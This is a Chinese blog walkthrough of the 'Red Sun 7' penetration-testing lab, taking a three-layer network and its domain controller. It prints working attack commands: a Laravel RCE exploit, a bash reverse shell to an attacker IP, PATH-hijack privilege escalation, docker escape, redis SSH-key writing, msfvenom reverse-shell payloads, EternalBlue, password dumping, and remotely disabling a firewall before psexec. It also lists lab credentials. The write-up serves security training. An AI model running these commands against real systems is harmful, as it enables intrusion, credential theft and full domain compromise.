红日7
拓扑图
环境配置
DMZ区IP段为192.168.43.1/24 因为我这里是开热点打的 图用的网上的
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
DMZ区域
- Ubuntu(Web 1)配置了两个网卡,一个桥接可以对外提供服务,IP段设为 192.168.43.0/24,一个连接在 VMnet8 上,设为NAT模式,IP段设为 192.168.52.0/24 连通第二层网络
第二层网络区域
- Ubuntu(Web 2)和 Windows 7(PC 1)都配置了两个网卡,一个连接在 VMnet8 上连通第二层网络,一个连接在 VMnet14 上,设为仅主机模式,IP段设为 192.168.93.0/24 连通第三层网络
第三层网络区域
- Windows Server 2012 和 Windows 7(PC 2)都只配置了一个网卡,连接在 VMnet14 上连通第三层网络
用户名密码
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
- web:web2021
Ubuntu 2:
- ubuntu:ubuntu
通达OA账户(不重要):
- admin:admin657260
后面的网卡设置好就行
网络配置好了 还需要配置服务
DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动):
sudo su
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
第二层网络的 Ubuntu需要启动docker容器(仍然需要root):
sudo su
service docker start
docker start 8e172820ac78
第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):
- C:\MYOA\bin\AutoConfig.exe
开始配置
至此 环境配置完成
渗透开始
外网渗透
拿到DMZ的ip:192.168.43.129 首先打开看看
空白啥都没有 但是网上的那些有blog不知道怎么回事 先不管 扫端口
- 命令:nmap -T4 -A 192.168.31.132 -p 1-65535
扫出4个端口
22的ssh
80的nginx
81的Laravel
6379的redis
因为80没东西 所以打开81看看
是一个Laravel v8.29.0(一个简洁、开源的 PHP Web 开发框架)
直接网上找找公开漏洞
发现是有漏洞的CVE-2021-3129 然后直接找exp打
克隆exp到kali
- 命令:git clone git://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git
然后将里面默认的url改为目标192.168.43.129
然后克隆phpggc到exp目录下 因为需要同目录
命令:git clone git://github.com/ambionics/phpggc.git
然后执行命令:python3 exploit.py
然后改一下py脚本 改成任意执行命令
Vim打开脚本,首先在exploit.py开头import sys库
主函数改为如下内容(注意缩进)
args = sys.argv
url = args[1]
command = args[2]
Exp(url, command)
然后执行命令
然后写shell 但是用这个exp一直写不上 就换了一个exp
直接写shell的
然后用哥斯拉链接2.92版本的 3.03不知道为什么连不上
连上shell
首先判断当前环境和权限 发现有些命令无法执行 怀疑是在容器里面
判断是否为docker
确实是在docker里面 所以就需要进行docker逃逸
但是当前权限较低
所以需要进行提权 先通过命令来搜索具有SUID或4000权限的文件:
- find / -perm -u=s -type f 2>/dev/null
发现 /home/jobs/shell 文件比较特别 然后切换到目录看看
但是发现在哥斯拉执行的时候切换不了 不知道什么情况 那就先弹个会话到kali
- 命令:bash -c “bash -i >& /dev/tcp/192.168.43.35/1234 0>&1”
然后在kali上试试能不能行
然后通过查看demo.c文件发现 是调用的ps命令且并未使用绝对路径
那么尝试更改$PATH来执行恶意程序,从而获得目标主机的 root 权限 shell
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell# 然后就获得了root权限,可以执行命令了
然后先弹个root的会话
然后使用特权模式进行docker逃逸
先fdisk -l查看磁盘挂载
sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上
然后ls hack就可以看到宿主机部分文件
来到/hack/home/ubuntu下 可以看到有.ssh文件
那就可以写入密钥
先在kali中生成密钥 创建一个key文件
然后将密钥复制
然后写入目标的.ssh目录下
命令:cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys(我这里是切换到.ssh目录下复制的 因为我直接全路径不知道为什么失败)(后来发现是hack前面不需要/)
然后写入到authorized_keys里面
然后用kali连接ubuntu
但是发现还是需要密码 这就奇怪了
然后换思路 因为发现还有6379 有redis 所以从redis搞
redis未授权
先安装redis-cli工具
tar -zxvf redis-stable.tar.gz
cd redis-stable
make //全局生效
cp src/redis-cli /usr/bin/
然后连接
- redis-cli -h 192.168.43.129
尝试用redis写入ssh公钥
kali生成ssh公钥
- ssh-keygen -t rsa
将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:
(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > key.txt
cat key.txt | redis-cli -h 192.168.43.129 -x set hello
然后进入redis将公钥写入(这里redis要是不用root启,就不行)
config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys #设置保存文件名为authorized_keys
save #将数据保存在目标服务器硬盘上
ssh 192.168.213.188 #连接
直接连上了
docker逃逸失败的原因
因为开始确确实实是把ssh公钥写入了 但是怎么会连不上哎 然后查看了下nginx的配置
发现了 nginx 反向代理的标志 proxy_pass
攻击的机器192.168.43.129(192.168.52.10)服务器上的 nginx 将 81 端口收到的请求转发给了 192.168.52.20,将 80 端口收到的请求转发给了 http://whoamianony.top
所以这个docker的宿主机的192.168.20.20上 就算公钥写进去了 但是连不上 不在同一个网段 那个是
如果说192.168.43.129(192.168.52.10)是A机器 192.168.52.20是B机器 docker是B1
那么我们开始用马子拿下的就是B中的B1 redis拿下的才是A
docker再次逃逸(柳暗花明)
还是先把这个上线msf 以便后续操作
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=3333 -f elf > web.elf
然后远程下载马子
然后msf开启监听
use exploit/multi/handler
set lhost 192.168.31.96
set lport 3333
set payload linux/x86/meterpreter/reverse_tcp
run
然后执行上线
因为开始第一步我们就将公钥写进去192.168.50.20了 是不是我们可以直接将kali的公钥下载到拿下的A机器 然后直接连接 但是还是要输入密码 很奇怪 按道理我看网上的有人是可以成功的 这里我没成功 就不管了
然后我重新试了一下 还是成功连上了 可能是因为我第一天关机了原因
重新通过第一步的shell写密钥到192.168.52.20上 然后下载kali的公钥连接上了
这里既然连接上了 就不用另一种方法了
但还是介绍一下另一种方法
我们通过redis拿下了192.168.43.129(192.168.52.10)这一台 这一台和192.168.52.20 有共同的网段的是可以直接连的 所以就可以通过shell弹一个会话到43.129这一台机器上 然后在这一台机器上进行docker提权以及 特权模式逃逸 直接在129这一台机器上生成密钥 然后写入到52.20中 然后连接进行逃逸
所以到现在已经拿下了两台
拿到了web,192.168.43.129;192.168.52.10
拿到了ubuntu,192.168.52.20;192.168.93.10
但192.168.52.20是ubuntu用户权限不高 我们要得肯定是root最好 先进行信息收集看看能不能提权
14.04 刚好上次打靶场的时候遇到 这个版本可以提权用CVE-2021-3493
漏洞利用 exp 下载地址:https://github.com/briskets/CVE-2021-3493
漏洞影响版本:
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
直接将下载的exp的内容复制到 这台机器编译一个
cd /tmp
vim exploit.c #将下载的exploit.c内容粘贴到该文件中
gcc exploit.c -o exploit
chmod +x exploit
./exploit
提权成功 然后现在上线msf进行内网渗透
先添加一个路由 这台是192.168.43.129
然后生成一个马子
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=4445 -f elf > ubuntu.elf
然后远程下载 发现是可以下载的 说明可以出网
如果这里不能出网的话就需要通过先把马子传到192.168.43.129上 然后在下载到52.20这一台上 这也的话 马子也需要重新生成 设置代理
然后下载执行上线
好了现在都上线了 开启socks代理探测内网
第二层内网渗透
首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
发现了一台30的机器
直接挂socks 进一步探测信息
use auxiliary/server/socks_proxy
set srvhost 192.168.43.35
set version 4a socks版本
run
发现有个8080端口 然后浏览器开启代理打开看看
发现是一个通达OA V11.3 然后直接通过exp直接上
上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell
然后上线msf
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.43.35
set lport 5555
run
上线之后进行内网信息收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \192.168.xx.xx\ipc$ “” /user:”” # 与192.168.xx.xx建立空连接
net use \192.168.xx.xx\c$ “密码” /user:”用户名” # 建立c盘共享
dir \192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group “domain admins” /domain # 查看域管理员的名字
net group “domain computers” /domain # 查看域中的其他主机名
net group “doamin controllers” /domain # 查看域控制器(可能有多台)
net group “Enterprise Admins” /domain // 查看域管理员组
.
综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
然后迁移到64进程上进行抓密码
成功抓到域用户和域管理员的密码
bunny:Bunny2021
administrator:Whoami2021
第三层内网渗透
添加93网段的路由
然后探测93网段存活机器
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40)
先扫端口 通过扫端口发现都开了445 那就测一测永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set lport 8888
exploit
直接弹回会话了
第四台拿下 现在只剩下域控了 既然前面抓到了域管的密码 直接用psexec登录得了
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
失败了,应该是开了防火墙的原因。
没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:
- net use \192.168.93.30\ipc$ “Whoami2021” /user:”Administrator”
连上了 然后来关防火墙
sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \192.168.93.30 start unablefirewall
然后在次尝试psexec
拿下域控 到此拿下了所有机器
权限维持就不做了
后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!